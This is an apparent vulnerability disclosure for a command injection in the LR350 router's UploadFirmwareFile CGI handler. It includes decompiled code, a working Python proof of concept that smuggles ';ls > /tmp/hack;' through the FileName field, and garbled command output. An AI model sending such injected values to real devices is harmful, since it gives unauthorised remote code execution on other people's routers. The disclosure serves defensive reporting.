LR350 - command injection - UploadFirmwareFile

Hi, we found a command injection vulnerability at LR350 (Firmware version V9.3.5u.6369_B20220309), and contact you at the first time.

The bug is in function **UploadFirmwareFile** of the file **/cgi-bin/cstecgi.cgi** which can control **FileName** to attack. **FileName** is directly copied to **doSystem**, result in command injection vulnerability.

```
72     memset(v48, 0, sizeof(v48));
73     v2 = websGetVar(a1, "FileName", "");
74     websGetVar(a1, "FullName", "");
75     v3 = websGetVar(a1, "ContentLength", (char *)&word_4370EC);
76     v4 = cJSON_CreateObject();
77     v5 = strtol(v3, 0, 10) + 1;
78     strcpy(v48, "/tmp/myImage.img");
79     doSystem("mv %s %s", v2, v48);
80     if ( v5 < 0x8000 )
81     {</pre>
```

PoC

```
import requests
url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi"
cookie = {"Cookie":"uid=1234"}
data = {'topicurl' : "UploadFirmwareFile",
"FileName" : ";ls > /tmp/hack;"}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)
```

Impact

Remote code execution

After execute the poc, we can see that Is is executed

```
→ mipsel32 python3 exp sms.pyy
drwxrwxr-x
              2 0
                                      4.0K Oct 1 07:09 advance
drwxrwxr-x
              2 0
                         0
                                      4.0K Oct 1 07:09 basic
drwxrwxr-x
             2 0
                         0
                                      4.0K Oct 1 07:09 cgi-bin
-rwxr-xr-x 1 0
                         0
                                      955 Oct 1 07:09 error.html
                         0
             1 0
                                      1.1K Oct 1 07:09 favicon.ico
- FWXF-XF-X
             1 0
- CMXC - XC - X
                         0
                                      143 Oct 1 07:09 home.html
-rwxr-xr-x 1 0
drwxrwxr-x 2 0
                         0
                                      797 Oct 1 07:09 index.html
                                      4.0K Oct 1 07:09 language
                         0
-rwxr-xr-x 1 0
-rw-r--r-- 1 0
-rwxr-xr-x 1 0
drwxrwxr-x 2 0
                         0
                                     4.7K Oct 1 07:09 login.html
                                     4.5K Oct 1 07:09 login_ie.html
                         0
                                     33.8K Oct 1 07:09 opmode.html
                         0
                         0
                                     4.0K Oct 1 07:09 phone
             2 0
                                     4.0K Oct 1 07:09 plugin
drwxrwxr-x
                         0
drwxrwxr-x 5 0
-rwxr-xr-x 1 0
                         0
                                     4.0K Oct 1 07:09 static
                         0
                                     1.5K Oct 1 07:09 telnet.html
-rw-r--r-- 1 0
-rwxr-xr-x 1 0
                         0
                                    10.6K Oct 1 07:09 wan ie.html
                         0
                                     54.7K Oct 1 07:09 wizard.html
        "upgradeERR": "MM FwFileInvalid"
<Response [200]>
```